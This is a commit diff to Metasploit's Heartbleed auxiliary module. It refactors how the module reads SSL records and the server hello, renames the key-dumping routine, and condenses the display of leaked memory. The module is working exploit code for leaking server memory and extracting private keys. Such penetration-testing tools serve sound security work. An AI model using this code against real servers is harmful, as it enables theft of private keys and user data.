Land #6182, Heartbleed scanner improvements

bug/bundler_fix
William Vu 2015-11-11 16:59:20 -06:00
commit e8dacf32fd
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 65 additions and 31 deletions

View File

@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
0x00ff # Unknown
]
SSL_RECORD_HEADER_SIZE = 0x05
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
@ -99,6 +99,9 @@ class Metasploit3 < Msf::Auxiliary
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
# For verbose output, deduplicate repeated characters beyond this threshold
DEDUP_REPEATED_CHARS_THRESHOLD = 400
def initialize
super(
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
@ -203,18 +206,13 @@ class Metasploit3 < Msf::Auxiliary
# Main method
def run_host(ip)
# initial connect to get public key and stuff
connect_result = establish_connect
disconnect
return if connect_result.nil?
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys
get_keys
else
# Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
@ -424,20 +422,15 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = get_data
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil
end
server_resp_parsed = parse_ssl_record(server_hello)
server_resp = get_server_hello
if server_resp_parsed.nil?
if server_resp.nil?
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
server_resp_parsed
server_resp
end
# Generates a heartbeat request
@ -455,7 +448,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat_request(heartbeat_length))
hdr = get_data(5)
hdr = get_data(SSL_RECORD_HEADER_SIZE)
if hdr.nil? || hdr.empty?
vprint_error("#{peer} - No Heartbeat response...")
disconnect
@ -533,16 +526,34 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{peer} - Heartbeat data stored in #{path}")
end
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
# Convert non-printable characters to periods
printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.')
# Keep this many duplicates as padding around the deduplication message
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round
# Remove duplicate characters
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s|
s[0, duplicate_pad] +
' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' +
s[-duplicate_pad, duplicate_pad]
end
# Show abbreviated data
vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}")
end
#
# Keydumoing helper methods
# Keydumping helper methods
#
# Tries to retreive the private key
def getkeys
def get_keys
connect_result = establish_connect
disconnect
return if connect_result.nil?
print_status("#{peer} - Scanning for private keys")
count = 0
@ -681,11 +692,32 @@ class Metasploit3 < Msf::Auxiliary
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
# Parse SSL header
def parse_ssl_record(data)
ssl_records = []
remaining_data = data
def get_ssl_record
hdr = get_data(SSL_RECORD_HEADER_SIZE)
unless hdr
vprint_error("#{peer} - No SSL record header received after #{response_timeout} seconds...")
return nil
end
len = hdr.unpack('Cnn')[2]
data = get_data(len)
unless data
vprint_error("#{peer} - No SSL record contents received after #{response_timeout} seconds...")
return nil
end
hdr << data
end
# Get and parse server hello response until we hit Server Hello Done or timeout
def get_server_hello
server_done = nil
ssl_record_counter = 0
remaining_data = get_ssl_record
while remaining_data && remaining_data.length > 0
ssl_record_counter += 1
ssl_unpacked = remaining_data.unpack('CH4n')
@ -702,17 +734,19 @@ class Metasploit3 < Msf::Auxiliary
else
ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data)
ssl_records << {
:type => ssl_type,
:version => ssl_version,
:length => ssl_len,
:data => handshakes
}
# Stop once we receive a SERVER_HELLO_DONE
if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
server_done = true
break
end
end
remaining_data = remaining_data[(ssl_len + 5)..-1]
remaining_data = get_ssl_record
end
ssl_records
server_done
end
# Parse Handshake data returned from servers